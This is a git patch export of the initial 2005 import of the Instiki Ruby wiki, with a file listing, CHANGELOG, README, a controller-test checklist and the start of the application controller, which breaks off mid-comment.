From e1a14bc27b83961b7bc14e0ee263ec194848b49a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 15 Jan 2005 20:06:21 +0000 Subject: [PATCH 001/529] top-level directories structure From 223b2bec6cdb0165a518e28eb2827d2def9e8383 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 15 Jan 2005 20:26:54 +0000 Subject: [PATCH 002/529] Initial import of the sources from SVN --- CHANGELOG | 137 ++ CONTROLLER_TESTS | 36 + README | 68 + app/controllers/application.rb | 27 + app/controllers/wiki_controller.rb | 411 ++++ app/helpers/application_helper.rb | 36 + app/models/author.rb | 4 + app/models/chunks/category.rb | 31 + app/models/chunks/chunk.rb | 20 + app/models/chunks/engines.rb | 38 + app/models/chunks/include.rb | 29 + app/models/chunks/literal.rb | 19 + app/models/chunks/match.rb | 19 + app/models/chunks/nowiki.rb | 31 + app/models/chunks/test.rb | 18 + app/models/chunks/uri.rb | 103 + app/models/chunks/wiki.rb | 83 + app/models/page.rb | 86 + app/models/page_lock.rb | 24 + app/models/page_set.rb | 73 + app/models/revision.rb | 90 + app/models/web.rb | 89 + app/models/wiki_content.rb | 105 + app/models/wiki_service.rb | 168 ++ app/models/wiki_words.rb | 25 + app/views/bottom.rhtml | 4 + app/views/markdown_help.rhtml | 16 + app/views/navigation.rhtml | 25 + app/views/rdoc_help.rhtml | 16 + app/views/textile_help.rhtml | 28 + app/views/top.rhtml | 49 + app/views/wiki/authors.rhtml | 13 + app/views/wiki/edit.rhtml | 31 + app/views/wiki/edit_web.rhtml | 138 ++ app/views/wiki/export.rhtml | 14 + app/views/wiki/feeds.rhtml | 10 + app/views/wiki/list.rhtml | 59 + app/views/wiki/locked.rhtml | 14 + app/views/wiki/login.rhtml | 11 + app/views/wiki/new.rhtml | 27 + app/views/wiki/new_system.rhtml | 78 + app/views/wiki/new_web.rhtml | 64 + app/views/wiki/page.rhtml | 81 + app/views/wiki/print.rhtml | 16 + app/views/wiki/published.rhtml | 10 + app/views/wiki/recently_revised.rhtml | 30 + app/views/wiki/revision.rhtml | 81 + app/views/wiki/rollback.rhtml | 31 + app/views/wiki/rss_feed.rhtml | 22 + app/views/wiki/search.rhtml | 15 + app/views/wiki/tex.rhtml | 23 + app/views/wiki/tex_web.rhtml | 35 + app/views/wiki/web_list.rhtml | 20 + app/views/wiki_words_help.rhtml | 9 + config/environment.rb | 59 + config/environments/development.rb | 4 + config/environments/production.rb | 2 + config/environments/test.rb | 14 + instiki | 2 + instiki.gemspec | 44 + libraries/active_record_stub.rb | 23 + libraries/diff.rb | 475 +++++ libraries/rdocsupport.rb | 152 ++ libraries/redcloth_for_tex.rb | 880 +++++++++ libraries/url_rewriting_hack.rb | 75 + natives/osx/desktop_launcher/AppDelegate.h | 18 + natives/osx/desktop_launcher/AppDelegate.mm | 109 ++ natives/osx/desktop_launcher/Credits.html | 16 + .../desktop_launcher/English.lproj/.cvsignore | 2 + .../English.lproj/InfoPlist.strings | Bin 0 -> 550 bytes .../English.lproj/MainMenu.nib/classes.nib | 13 + .../English.lproj/MainMenu.nib/info.nib | 24 + .../English.lproj/MainMenu.nib/objects.nib | Bin 0 -> 1607 bytes natives/osx/desktop_launcher/Info.plist | 13 + .../Instiki.xcode/project.pbxproj | 592 ++++++ .../osx/desktop_launcher/Instiki_Prefix.pch | 7 + natives/osx/desktop_launcher/MakeDMG.sh | 9 + natives/osx/desktop_launcher/main.mm | 14 + natives/osx/desktop_launcher/version.plist | 16 + public/.htaccess | 29 + public/404.html | 6 + public/500.html | 6 + public/dispatch.rb | 11 + public/images/.images_go_here | 0 public/javascripts/.java_script_files_go_here | 0 public/stylesheets/.CSS_stylesheets_go_here | 0 public/stylesheets/instiki.css | 199 ++ rakefile.rb | 79 + script/breakpointer | 35 + script/server | 83 + storage/.cvsignore | 5 + storage/madeleine_snaps_goes_here | 0 test/functional/wiki_controller_test.rb | 587 ++++++ test/test_helper.rb | 48 + test/unit/chunks/category_test.rb | 21 + test/unit/chunks/nowiki_test.rb | 14 + test/unit/chunks/wiki_test.rb | 36 + test/unit/diff_test.rb | 80 + test/unit/page_test.rb | 76 + test/unit/redcloth_for_tex_test.rb | 67 + test/unit/revision_test.rb | 261 +++ test/unit/uri_test.rb | 92 + test/unit/url_rewriting_hack_test.rb | 60 + test/unit/web_test.rb | 104 + test/unit/wiki_service_test.rb | 15 + test/unit/wiki_words_test.rb | 12 + vendor/bluecloth-1.0.0/CHANGES | 366 ++++ vendor/bluecloth-1.0.0/LICENSE | 340 ++++ vendor/bluecloth-1.0.0/README | 99 + vendor/bluecloth-1.0.0/bin/bluecloth | 83 + vendor/bluecloth-1.0.0/install.rb | 150 ++ vendor/bluecloth-1.0.0/lib/bluecloth.rb | 1144 +++++++++++ vendor/bluecloth-1.0.0/test.rb | 117 ++ .../bluecloth-1.0.0/tests/00_Class.tests.rb | 71 + .../tests/05_Markdown.tests.rb | 1527 +++++++++++++++ vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb | 57 + .../bluecloth-1.0.0/tests/15_Contrib.tests.rb | 132 ++ vendor/bluecloth-1.0.0/tests/bctestcase.rb | 274 +++ .../bluecloth-1.0.0/tests/data/antsugar.txt | 34 + .../tests/data/ml-announce.txt | 17 + .../tests/data/re-overflow.txt | 67 + .../tests/data/re-overflow2.txt | 281 +++ vendor/bluecloth-1.0.0/utils.rb | 553 ++++++ vendor/madeleine-0.7.1/.cvsignore | 2 + vendor/madeleine-0.7.1/COPYING | 31 + vendor/madeleine-0.7.1/NEWS | 55 + vendor/madeleine-0.7.1/README | 78 + vendor/madeleine-0.7.1/TODO | 23 + vendor/madeleine-0.7.1/contrib/batched.rb | 298 +++ vendor/madeleine-0.7.1/contrib/benchmark.rb | 35 + .../madeleine-0.7.1/contrib/test_batched.rb | 245 +++ .../contrib/test_scalability.rb | 248 +++ .../contrib/threaded_benchmark.rb | 44 + vendor/madeleine-0.7.1/docs/.cvsignore | 1 + vendor/madeleine-0.7.1/docs/designRules.html | 87 + vendor/madeleine-0.7.1/docs/docs.css | 28 + vendor/madeleine-0.7.1/generate_rdoc.rb | 3 + vendor/madeleine-0.7.1/install.rb | 1098 +++++++++++ vendor/madeleine-0.7.1/lib/madeleine.rb | 420 ++++ .../lib/madeleine/automatic.rb | 418 ++++ vendor/madeleine-0.7.1/lib/madeleine/clock.rb | 94 + vendor/madeleine-0.7.1/lib/madeleine/files.rb | 19 + .../madeleine-0.7.1/lib/madeleine/zmarshal.rb | 60 + vendor/madeleine-0.7.1/madeleine.gemspec | 23 + vendor/madeleine-0.7.1/samples/.cvsignore | 3 + vendor/madeleine-0.7.1/samples/clock_click.rb | 73 + .../samples/dictionary_client.rb | 23 + .../samples/dictionary_server.rb | 94 + vendor/madeleine-0.7.1/samples/painter.rb | 60 + vendor/madeleine-0.7.1/test/test.rb | 320 ++++ vendor/madeleine-0.7.1/test/test_automatic.rb | 559 ++++++ vendor/madeleine-0.7.1/test/test_clocked.rb | 94 + .../madeleine-0.7.1/test/test_command_log.rb | 110 ++ vendor/madeleine-0.7.1/test/test_executer.rb | 54 + .../madeleine-0.7.1/test/test_persistence.rb | 169 ++ vendor/madeleine-0.7.1/test/test_platforms.rb | 65 + vendor/madeleine-0.7.1/test/test_zmarshal.rb | 52 + vendor/redcloth-2.0.11/RedCloth.gemspec | 34 + vendor/redcloth-2.0.11/doc/CHANGELOG | 111 ++ vendor/redcloth-2.0.11/doc/COPYING | 25 + vendor/redcloth-2.0.11/doc/README | 106 + vendor/redcloth-2.0.11/doc/REFERENCE | 216 +++ vendor/redcloth-2.0.11/doc/make.rb | 345 ++++ vendor/redcloth-2.0.11/install.rb | 1032 ++++++++++ vendor/redcloth-2.0.11/lib/redcloth.rb | 894 +++++++++ vendor/redcloth-2.0.11/run-tests.rb | 18 + vendor/redcloth-2.0.11/tests/code.yml | 66 + vendor/redcloth-2.0.11/tests/images.yml | 171 ++ vendor/redcloth-2.0.11/tests/instiki.yml | 37 + vendor/redcloth-2.0.11/tests/links.yml | 152 ++ vendor/redcloth-2.0.11/tests/lists.yml | 81 + vendor/redcloth-2.0.11/tests/poignant.yml | 64 + vendor/redcloth-2.0.11/tests/textism.yml | 404 ++++ vendor/rubyzip-0.5.6/ChangeLog | 860 +++++++++ vendor/rubyzip-0.5.6/NEWS | 99 + vendor/rubyzip-0.5.6/README | 49 + vendor/rubyzip-0.5.6/TODO | 10 + vendor/rubyzip-0.5.6/install.rb | 21 + vendor/rubyzip-0.5.6/rubyzip.gemspec | 20 + vendor/rubyzip-0.5.6/samples/example.rb | 69 + .../samples/example_filesystem.rb | 34 + vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb | 86 + vendor/rubyzip-0.5.6/samples/write_simple.rb | 13 + vendor/rubyzip-0.5.6/samples/zipfind.rb | 74 + vendor/rubyzip-0.5.6/test/alltests.rb | 9 + vendor/rubyzip-0.5.6/test/file1.txt | 46 + .../rubyzip-0.5.6/test/file1.txt.deflatedData | Bin 0 -> 482 bytes vendor/rubyzip-0.5.6/test/file2.txt | 1504 +++++++++++++++ vendor/rubyzip-0.5.6/test/ioextrastest.rb | 208 ++ vendor/rubyzip-0.5.6/test/notzippedruby.rb | 7 + vendor/rubyzip-0.5.6/test/rubycode.zip | Bin 0 -> 617 bytes vendor/rubyzip-0.5.6/test/rubycode2.zip | Bin 0 -> 261 bytes vendor/rubyzip-0.5.6/test/stdrubyexttest.rb | 52 + vendor/rubyzip-0.5.6/test/testDirectory.bin | Bin 0 -> 303 bytes vendor/rubyzip-0.5.6/test/zipWithDirs.zip | Bin 0 -> 1934 bytes .../rubyzip-0.5.6/test/zipfilesystemtest.rb | 829 ++++++++ vendor/rubyzip-0.5.6/test/ziprequiretest.rb | 43 + vendor/rubyzip-0.5.6/test/ziptest.rb | 1700 +++++++++++++++++ vendor/rubyzip-0.5.6/zip/ioextras.rb | 114 ++ vendor/rubyzip-0.5.6/zip/stdrubyext.rb | 111 ++ vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb | 195 ++ vendor/rubyzip-0.5.6/zip/zip.rb | 1376 +++++++++++++ vendor/rubyzip-0.5.6/zip/zipfilesystem.rb | 558 ++++++ vendor/rubyzip-0.5.6/zip/ziprequire.rb | 61 + 204 files changed, 29431 insertions(+) create mode 100755 CHANGELOG create mode 100755 CONTROLLER_TESTS create mode 100755 README create mode 100644 app/controllers/application.rb create mode 100755 app/controllers/wiki_controller.rb create mode 100644 app/helpers/application_helper.rb create mode 100755 app/models/author.rb create mode 100755 app/models/chunks/category.rb create mode 100755 app/models/chunks/chunk.rb create mode 100755 app/models/chunks/engines.rb create mode 100755 app/models/chunks/include.rb create mode 100755 app/models/chunks/literal.rb create mode 100755 app/models/chunks/match.rb create mode 100755 app/models/chunks/nowiki.rb create mode 100755 app/models/chunks/test.rb create mode 100755 app/models/chunks/uri.rb create mode 100755 app/models/chunks/wiki.rb create mode 100755 app/models/page.rb create mode 100755 app/models/page_lock.rb create mode 100755 app/models/page_set.rb create mode 100755 app/models/revision.rb create mode 100755 app/models/web.rb create mode 100755 app/models/wiki_content.rb create mode 100755 app/models/wiki_service.rb create mode 100755 app/models/wiki_words.rb create mode 100755 app/views/bottom.rhtml create mode 100755 app/views/markdown_help.rhtml create mode 100755 app/views/navigation.rhtml create mode 100755 app/views/rdoc_help.rhtml create mode 100755 app/views/textile_help.rhtml create mode 100755 app/views/top.rhtml create mode 100755 app/views/wiki/authors.rhtml create mode 100755 app/views/wiki/edit.rhtml create mode 100755 app/views/wiki/edit_web.rhtml create mode 100755 app/views/wiki/export.rhtml create mode 100755 app/views/wiki/feeds.rhtml create mode 100755 app/views/wiki/list.rhtml create mode 100755 app/views/wiki/locked.rhtml create mode 100755 app/views/wiki/login.rhtml create mode 100755 app/views/wiki/new.rhtml create mode 100755 app/views/wiki/new_system.rhtml create mode 100755 app/views/wiki/new_web.rhtml create mode 100755 app/views/wiki/page.rhtml create mode 100755 app/views/wiki/print.rhtml create mode 100755 app/views/wiki/published.rhtml create mode 100755 app/views/wiki/recently_revised.rhtml create mode 100755 app/views/wiki/revision.rhtml create mode 100755 app/views/wiki/rollback.rhtml create mode 100755 app/views/wiki/rss_feed.rhtml create mode 100755 app/views/wiki/search.rhtml create mode 100755 app/views/wiki/tex.rhtml create mode 100755 app/views/wiki/tex_web.rhtml create mode 100755 app/views/wiki/web_list.rhtml create mode 100755 app/views/wiki_words_help.rhtml create mode 100644 config/environment.rb create mode 100755 config/environments/development.rb create mode 100644 config/environments/production.rb create mode 100644 config/environments/test.rb create mode 100755 instiki create mode 100755 instiki.gemspec create mode 100755 libraries/active_record_stub.rb create mode 100755 libraries/diff.rb create mode 100755 libraries/rdocsupport.rb create mode 100755 libraries/redcloth_for_tex.rb create mode 100755 libraries/url_rewriting_hack.rb create mode 100755 natives/osx/desktop_launcher/AppDelegate.h create mode 100755 natives/osx/desktop_launcher/AppDelegate.mm create mode 100755 natives/osx/desktop_launcher/Credits.html create mode 100755 natives/osx/desktop_launcher/English.lproj/.cvsignore create mode 100755 natives/osx/desktop_launcher/English.lproj/InfoPlist.strings create mode 100755 natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib create mode 100755 natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib create mode 100755 natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib create mode 100755 natives/osx/desktop_launcher/Info.plist create mode 100755 natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj create mode 100755 natives/osx/desktop_launcher/Instiki_Prefix.pch create mode 100755 natives/osx/desktop_launcher/MakeDMG.sh create mode 100755 natives/osx/desktop_launcher/main.mm create mode 100755 natives/osx/desktop_launcher/version.plist create mode 100644 public/.htaccess create mode 100644 public/404.html create mode 100644 public/500.html create mode 100755 public/dispatch.rb create mode 100755 public/images/.images_go_here create mode 100755 public/javascripts/.java_script_files_go_here create mode 100755 public/stylesheets/.CSS_stylesheets_go_here create mode 100755 public/stylesheets/instiki.css create mode 100755 rakefile.rb create mode 100755 script/breakpointer create mode 100755 script/server create mode 100755 storage/.cvsignore create mode 100755 storage/madeleine_snaps_goes_here create mode 100755 test/functional/wiki_controller_test.rb create mode 100755 test/test_helper.rb create mode 100755 test/unit/chunks/category_test.rb create mode 100755 test/unit/chunks/nowiki_test.rb create mode 100755 test/unit/chunks/wiki_test.rb create mode 100755 test/unit/diff_test.rb create mode 100755 test/unit/page_test.rb create mode 100755 test/unit/redcloth_for_tex_test.rb create mode 100755 test/unit/revision_test.rb create mode 100755 test/unit/uri_test.rb create mode 100755 test/unit/url_rewriting_hack_test.rb create mode 100755 test/unit/web_test.rb create mode 100755 test/unit/wiki_service_test.rb create mode 100755 test/unit/wiki_words_test.rb create mode 100755 vendor/bluecloth-1.0.0/CHANGES create mode 100755 vendor/bluecloth-1.0.0/LICENSE create mode 100755 vendor/bluecloth-1.0.0/README create mode 100755 vendor/bluecloth-1.0.0/bin/bluecloth create mode 100755 vendor/bluecloth-1.0.0/install.rb create mode 100755 vendor/bluecloth-1.0.0/lib/bluecloth.rb create mode 100755 vendor/bluecloth-1.0.0/test.rb create mode 100755 vendor/bluecloth-1.0.0/tests/00_Class.tests.rb create mode 100755 vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb create mode 100755 vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb create mode 100755 vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb create mode 100755 vendor/bluecloth-1.0.0/tests/bctestcase.rb create mode 100755 vendor/bluecloth-1.0.0/tests/data/antsugar.txt create mode 100755 vendor/bluecloth-1.0.0/tests/data/ml-announce.txt create mode 100755 vendor/bluecloth-1.0.0/tests/data/re-overflow.txt create mode 100755 vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt create mode 100755 vendor/bluecloth-1.0.0/utils.rb create mode 100755 vendor/madeleine-0.7.1/.cvsignore create mode 100755 vendor/madeleine-0.7.1/COPYING create mode 100755 vendor/madeleine-0.7.1/NEWS create mode 100755 vendor/madeleine-0.7.1/README create mode 100755 vendor/madeleine-0.7.1/TODO create mode 100755 vendor/madeleine-0.7.1/contrib/batched.rb create mode 100755 vendor/madeleine-0.7.1/contrib/benchmark.rb create mode 100755 vendor/madeleine-0.7.1/contrib/test_batched.rb create mode 100755 vendor/madeleine-0.7.1/contrib/test_scalability.rb create mode 100755 vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb create mode 100755 vendor/madeleine-0.7.1/docs/.cvsignore create mode 100755 vendor/madeleine-0.7.1/docs/designRules.html create mode 100755 vendor/madeleine-0.7.1/docs/docs.css create mode 100755 vendor/madeleine-0.7.1/generate_rdoc.rb create mode 100755 vendor/madeleine-0.7.1/install.rb create mode 100755 vendor/madeleine-0.7.1/lib/madeleine.rb create mode 100755 vendor/madeleine-0.7.1/lib/madeleine/automatic.rb create mode 100755 vendor/madeleine-0.7.1/lib/madeleine/clock.rb create mode 100755 vendor/madeleine-0.7.1/lib/madeleine/files.rb create mode 100755 vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb create mode 100755 vendor/madeleine-0.7.1/madeleine.gemspec create mode 100755 vendor/madeleine-0.7.1/samples/.cvsignore create mode 100755 vendor/madeleine-0.7.1/samples/clock_click.rb create mode 100755 vendor/madeleine-0.7.1/samples/dictionary_client.rb create mode 100755 vendor/madeleine-0.7.1/samples/dictionary_server.rb create mode 100755 vendor/madeleine-0.7.1/samples/painter.rb create mode 100755 vendor/madeleine-0.7.1/test/test.rb create mode 100755 vendor/madeleine-0.7.1/test/test_automatic.rb create mode 100755 vendor/madeleine-0.7.1/test/test_clocked.rb create mode 100755 vendor/madeleine-0.7.1/test/test_command_log.rb create mode 100755 vendor/madeleine-0.7.1/test/test_executer.rb create mode 100755 vendor/madeleine-0.7.1/test/test_persistence.rb create mode 100755 vendor/madeleine-0.7.1/test/test_platforms.rb create mode 100755 vendor/madeleine-0.7.1/test/test_zmarshal.rb create mode 100755 vendor/redcloth-2.0.11/RedCloth.gemspec create mode 100755 vendor/redcloth-2.0.11/doc/CHANGELOG create mode 100755 vendor/redcloth-2.0.11/doc/COPYING create mode 100755 vendor/redcloth-2.0.11/doc/README create mode 100755 vendor/redcloth-2.0.11/doc/REFERENCE create mode 100755 vendor/redcloth-2.0.11/doc/make.rb create mode 100755 vendor/redcloth-2.0.11/install.rb create mode 100755 vendor/redcloth-2.0.11/lib/redcloth.rb create mode 100755 vendor/redcloth-2.0.11/run-tests.rb create mode 100755 vendor/redcloth-2.0.11/tests/code.yml create mode 100755 vendor/redcloth-2.0.11/tests/images.yml create mode 100755 vendor/redcloth-2.0.11/tests/instiki.yml create mode 100755 vendor/redcloth-2.0.11/tests/links.yml create mode 100755 vendor/redcloth-2.0.11/tests/lists.yml create mode 100755 vendor/redcloth-2.0.11/tests/poignant.yml create mode 100755 vendor/redcloth-2.0.11/tests/textism.yml create mode 100755 vendor/rubyzip-0.5.6/ChangeLog create mode 100755 vendor/rubyzip-0.5.6/NEWS create mode 100755 vendor/rubyzip-0.5.6/README create mode 100755 vendor/rubyzip-0.5.6/TODO create mode 100755 vendor/rubyzip-0.5.6/install.rb create mode 100755 vendor/rubyzip-0.5.6/rubyzip.gemspec create mode 100755 vendor/rubyzip-0.5.6/samples/example.rb create mode 100755 vendor/rubyzip-0.5.6/samples/example_filesystem.rb create mode 100755 vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb create mode 100755 vendor/rubyzip-0.5.6/samples/write_simple.rb create mode 100755 vendor/rubyzip-0.5.6/samples/zipfind.rb create mode 100755 vendor/rubyzip-0.5.6/test/alltests.rb create mode 100755 vendor/rubyzip-0.5.6/test/file1.txt create mode 100755 vendor/rubyzip-0.5.6/test/file1.txt.deflatedData create mode 100755 vendor/rubyzip-0.5.6/test/file2.txt create mode 100755 vendor/rubyzip-0.5.6/test/ioextrastest.rb create mode 100755 vendor/rubyzip-0.5.6/test/notzippedruby.rb create mode 100755 vendor/rubyzip-0.5.6/test/rubycode.zip create mode 100755 vendor/rubyzip-0.5.6/test/rubycode2.zip create mode 100755 vendor/rubyzip-0.5.6/test/stdrubyexttest.rb create mode 100755 vendor/rubyzip-0.5.6/test/testDirectory.bin create mode 100755 vendor/rubyzip-0.5.6/test/zipWithDirs.zip create mode 100755 vendor/rubyzip-0.5.6/test/zipfilesystemtest.rb create mode 100755 vendor/rubyzip-0.5.6/test/ziprequiretest.rb create mode 100755 vendor/rubyzip-0.5.6/test/ziptest.rb create mode 100755 vendor/rubyzip-0.5.6/zip/ioextras.rb create mode 100755 vendor/rubyzip-0.5.6/zip/stdrubyext.rb create mode 100755 vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb create mode 100755 vendor/rubyzip-0.5.6/zip/zip.rb create mode 100755 vendor/rubyzip-0.5.6/zip/zipfilesystem.rb create mode 100755 vendor/rubyzip-0.5.6/zip/ziprequire.rb diff --git a/CHANGELOG b/CHANGELOG new file mode 100755 index 00000000..f8977f34 --- /dev/null +++ b/CHANGELOG @@ -0,0 +1,137 @@ +HEAD: + Wiki extracts (to HTML and plain text) will leave only the last extract file in ./storage + Local hyperlinks in published pages point to published pages [Michael DeHaan] + Various usability enhancements + + * 0.9.2: + Rollback takes the user to an edit form. The form has to be submitted for the change to take place. + Changed to use inline style on published pages + Fixed "forward in time" on the last revision before current page + Instiki won't log bogus error messages when creating a new Wiki. + Fixed deprecation warning for Object.id (introduced in Ruby 1.8.2) + Madeleine upgraded to 0.7.1 + Madeleine snapshots are compressed + Packaged as a gem + + * 0.9.1: + Added performance improvements for updating existing pages + Fixed IP logging and RSS feeds behind proxies [With help from Guan Yang] + Fixed default storage directory (borked running on Windows) [Spotted by Curt Hibbs] + + * 0.9.0: + Added aliased links such as [[HomePage|that nice home page]] [Mark Reid] + Added include other page content with [[!include TableOfContents]] [Mark Reid] + Added delete orphan pages from the Edit Web screen [by inspiration from Simon Arnaud] + Added logging of IP address for authors (who's behind the rollback wars) + Added Categories pages through backlinks (use "categories: news, instiki" on start of line) [Mark Reid] + Added option to use bracket-style wiki links only (and hence ban WikiWords) + Added command-line option to specify different storage path + Added print view without navigation + Added character and page (2275 characters including spaces) counter (important for student papers) + Off by default, activate it on the Edit Web screen + Added LaTeX/PDF integration on Textile installations with pdflatex installed on system (EXPERIMENTAL) + Use the home page as a table of contents with a unordered list to control sections + Added limit of 15 to the number of pages included in RSS feed + Moved static parts of stylesheet to separate file [Lau Trnskov] + Fixed better semantics for revision movement [Ryan Singer] + Fixed color diffs to work much better [Xen/Mertz/Atkins] + Fixed performance problems for All Pages list [Dennis Mertz] + Fixed lots of rendering bugs [Mark Reid] + Upgraded to RedCloth 2.0.11 [integrating the fine work of Dennis Mertz] + + * 0.8.9: + Added color diffs to see changes between revisions [Bill Atkins] + They're aren't quite perfect yet as new paragraphs split the tags (hence 0.8.9, not 0.9.0) + Added redirect to edit if content of page generates an error + (so the page doesn't become unusable on bugs in the markup engines) + Fixed update Web with different address bug [Denis Metz] + Fixed a bunch of wiki word rendering issues by doing wiki word detection and replacment at once + Upgraded to BlueCloth 0.0.3b (should fix loads of problems on Markdown wikis) + + * 0.8.5: + Instiki can now serve as a CMS by running a password-protected web with a published front + Added version check at startup (Instiki needs Ruby 1.8.1) + + * 0.8.1: + Actually included RedCloth 2.0.7 in the release + + * 0.8.0: + NOTE: Single-web wikis created in versions prior to 0.8.0 have "instiki" as their system password + Accepts wiki words in bracket style. Ex: [[wiki word]], [[c]], [[We could'nt have done it!]] + Accepts camel-case wiki words in all latin, greek, cyrillian, and armenian unicode characters + Many thanks to Guan Yang for building the higher- and lower-case lookup tables + And thanks to Simon Arnaud for the initial patch that got the work started + Changed charset to UTF-8 + Cut down on command-line options and replaced them with an per-web config screen + Added option to extend the stylesheet on a per-web basis to tweak the look in details + Added simple color options for variety + Added option to add/remove password protection on each web + Added the wiki name of the author locking a given page (instead of just "someone") + Removed single/multi-web distinction -- all Instikis are now multi-web + Load libraries from an unshifted load path, so that old installed libraries doesn't clash [Emiel van de Laar] + Keeps the author cookie forever, so you don't have to enter your name again and again + Fixed XHTML so it validates [Bruce D'Arcus] + Authors are no longer listed under orphan pages + Added export to markup (great for backups, potentially for switching wiki engine) + Don't link wiki words that proceeds from either /, = or ? + (http://c2.com/cgi/wiki?WikiWikiClones, /show/HomePage, cgi.pl?show=WikiWord without escaping) + Accessing an unexisting page redirects to a different url (/new/PageName) + Increased snapshot time to just once a day (cuts down on disk storage requirements) + Made RDoc support work better with 1.8.1 [Mauricio Fernndez] + Added convinient redirect from /wiki/ to /wiki/show/HomePage + Fixed BlueCloth bug with backticks at start of line + Updated to RedCloth 2.0.7 (and linked to the new Textile reference) + + * 0.7.0: + Added Markdown (BlueCloth) and RDoc [Mauricio Fernndez] as command-line markup choices + Added wanted and orphan page lists to All pages (only show up if there's actually orphan or wanted pages) + Added ISO-8859-1 as XML encoding in RSS feeds (makes FeedReader among others happy for special entities) + Added proper links in the RSS feed (but the body links are still relative, which NNW and others doesn't grok) + Added access keys: E => Edit, H => HomePage, A => All Pages, U => Recently Revised, X => Export + Added password-login through URL (so you can subscribe to feed on a protected web) + Added web passwords to the feed links for protected webs, so they work without manual login + Added the web name in small letters above all pages within a web + Polished authors and recently revised + Updated to RedCloth 2.0.6 + Changed content type for RSS feeds to text/xml (makes Mozilla Aggreg8 happy) + Changed searching to be case insensitive + Changed HomePage to display the name of the web instead + Changed exported HTML pages to be valid XHTML (which can be preprocessed by XSLT) + Fixed broken recently revised + + * 0.6.0: + Fixed Windows compatibility [Florian] + Fixed bug that would prevent Madeleine from taking snapshots in Daemon mode + Added export entire web as HTML in a zip file + Added RSS feeds + Added proper getops support for the growing number of options [Florian] + Added safe mode that forbids style options in RedCloth [Florian] + Updated RedCloth to 2.0.5 + + * 0.5.0: + NOTE: 0.5.0 is NOT compatible with databases from earlier versions + Added revisions + Added multiple webs + Added password protection for webs on multi-web setups + Added the notion of authors (that are saved in a cookie) + Added command-line option for not running as a Daemon on Unix + + * 0.3.1: + Added option to escape wiki words with \ + + * 0.3.0: + Brought all files into common style (including Textile help on the edit page) + Added page locking (if someone already is editing a page there's a warning) + Added daemon abilities on Unix (keep Instiki running after you close the terminal) + Made port 2500 the default port, so Instiki can be launched by dobbelt-click + Added Textile cache to speed-up rendering of large pages + Made WikiWords look like "Wiki Words" + Updated RedCloth to 2.0.4 + + * 0.2.5: + Upgraded to RedCloth 2.0.2 and Madeleine 0.6.1, which means the + Windows problems are gone. Also fixed a problem with wikiwords + that used part of other wikiwords. + + * 0.2.0: + First public release diff --git a/CONTROLLER_TESTS b/CONTROLLER_TESTS new file mode 100755 index 00000000..500a46de --- /dev/null +++ b/CONTROLLER_TESTS @@ -0,0 +1,36 @@ +DONE + +edit +create_system +index +locked +new +new_system +show +recently_revised +save +revision +rollback +search +list +web_list +authenticate +login +create_web +new_web +update_web +authors +remove_orphaned_pages +cancel_edit +print +published +rss_with_content +rss_with_headlines +export_html +export_markup + +TODO + +pdf +export_pdf +export_tex diff --git a/README b/README new file mode 100755 index 00000000..adbaaaf1 --- /dev/null +++ b/README @@ -0,0 +1,68 @@ +===What is Instiki? + +Admitted, it's YetAnotherWikiClone[http://c2.com/cgi/wiki?WikiWikiClones], but with a strong focus +on simplicity of installation and running: + +Step 1. Download + +Step 2. Run "instiki" + +Step 3. Chuckle... "There's no step three!" (TM) + +You're now running a perfectly suitable wiki on port 2500 +that'll present you with one-step setup, followed by a textarea for the home page +on http://localhost:2500. + +Instiki lowers the barriers of interest for when you might consider +using a wiki. It's so simple to get running that you'll find yourself +using it for anything -- taking notes, brainstorming, organizing a +gathering. + +===Features: +* Regular expression search: Find deep stuff really fast +* Revisions: Follow the changes on every page from birth. Rollback to an earlier rev +* Export to HTML or markup in a zip: Take the entire wiki with you home or for reference +* RSS feeds to track recently revised pages +* Multiple webs: Create separate wikis with their own namespace +* Password-protected webs: Keep it private +* Authors: Each revision is associated with an author, so you can see who changed what +* Reference tracker: Which other pages are pointing to the current? +* Speed: Using Madelein[http://madeleine.sourceforge.net] for persistence (all pages are in memory) +* Three markup choices: Textile[http://www.textism.com/tools/textile] + (default / RedCloth[http://www.whytheluckystiff.net/ruby/redcloth]), + Markdown (BlueCloth[http://bluecloth.rubyforge.org]), and RDoc[http://rdoc.sourceforge.net/doc] +* Embedded webserver: Through WEBrick[http://www.webrick.org] +* Internationalization: Wiki words in any latin, greek, cyrillian, or armenian characters +* Color diffs: Track changes through revisions + +===Missing: +* File attachments + +===Install from gem: +* Install rubygems +* Run "gem install instiki" +* Change to a directory where you want Instiki to keep its data files (for example, ~/instiki/) +* Run "instiki" - this will create a "storage" directory (for example, ~/instiki/storage), and start a new Wiki service + +Make sure that you always launch Instiki from the same working directory, or specify the storage directory in runtime parameters, such as: + instiki --storage ~/instiki/storage + +===Command-line options: +* Run "instiki --help" + +===History: + * See CHANGELOG + +===Download latest from: +* http://rubyforge.org/project/showfiles.php?group_id=186 + +===Visit the official Instiki wiki: +* http://www.instiki.org + +===License: +* same as Ruby's + +--- +Author:: David Heinemeier Hansson +Email:: david@loudthinking.com +Weblog:: http://www.loudthinking.com diff --git a/app/controllers/application.rb b/app/controllers/application.rb new file mode 100644 index 00000000..6765c5e7 --- /dev/null +++ b/app/controllers/application.rb @@ -0,0 +1,27 @@ +require 'url_rewriting_hack' + +# The filters added to this controller will be run for all controllers in the application. +# Likewise will all the methods added be available for all controllers. +class ApplicationController < ActionController::Base + + # implements Instiki's legacy URLs + require 'url_rewriting_hack' + + # For injecting a different wiki model implementation. Intended for use in tests + def self.wiki=(the_wiki) + # a global variable is used here because Rails reloads controller and model classes in the + # development environment; therefore, storing it as a class variable does not work + # class 